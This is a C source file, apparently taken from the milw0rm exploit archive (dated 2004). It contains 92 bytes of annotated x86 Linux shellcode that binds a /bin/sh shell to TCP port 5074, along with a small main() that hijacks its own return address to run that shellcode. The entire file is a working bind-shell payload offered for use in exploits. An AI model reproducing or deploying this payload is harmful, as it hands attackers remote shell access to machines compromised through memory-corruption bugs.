68 lines
No EOL
1.7 KiB
C
68 lines
No EOL
1.7 KiB
C
/*
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* s0t4ipv6@Shellcode.com.ar
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* x86 portbind a shell in port 5074
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* 92 bytes.
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*
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*/
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char shellcode[] =
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"\x31\xc0" // xorl %eax,%eax
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"\x50" // pushl %eax
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"\x40" // incl %eax
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"\x89\xc3" // movl %eax,%ebx
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"\x50" // pushl %eax
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"\x40" // incl %eax
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"\x50" // pushl %eax
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"\x89\xe1" // movl %esp,%ecx
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"\xb0\x66" // movb $0x66,%al
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"\xcd\x80" // int $0x80
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"\x31\xd2" // xorl %edx,%edx
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"\x52" // pushl %edx
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"\x66\x68\x13\xd2" // pushw $0xd213
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"\x43" // incl %ebx
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"\x66\x53" // pushw %bx
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"\x89\xe1" // movl %esp,%ecx
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"\x6a\x10" // pushl $0x10
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"\x51" // pushl %ecx
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"\x50" // pushl %eax
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"\x89\xe1" // movl %esp,%ecx
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"\xb0\x66" // movb $0x66,%al
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"\xcd\x80" // int $0x80
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"\x40" // incl %eax
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"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
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"\x43" // incl %ebx
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"\x43" // incl %ebx
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"\xb0\x66" // movb $0x66,%al
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"\xcd\x80" // int $0x80
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"\x83\xc4\x0c" // addl $0xc,%esp
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"\x52" // pushl %edx
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"\x52" // pushl %edx
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"\x43" // incl %ebx
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"\xb0\x66" // movb $0x66,%al
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"\xcd\x80" // int $0x80
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"\x93" // xchgl %eax,%ebx
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"\x89\xd1" // movl %edx,%ecx
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"\xb0\x3f" // movb $0x3f,%al
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"\xcd\x80" // int $0x80
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"\x41" // incl %ecx
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"\x80\xf9\x03" // cmpb $0x3,%cl
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"\x75\xf6" // jnz <shellcode+0x40>
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"\x52" // pushl %edx
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"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
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"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
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"\x89\xe3" // movl %esp,%ebx
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"\x52" // pushl %edx
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"\x53" // pushl %ebx
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"\x89\xe1" // movl %esp,%ecx
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"\xb0\x0b" // movb $0xb,%al
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"\xcd\x80" // int $0x80
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;
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(shellcode));
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(*ret) = (int)shellcode;
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}
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// milw0rm.com [2004-09-12]
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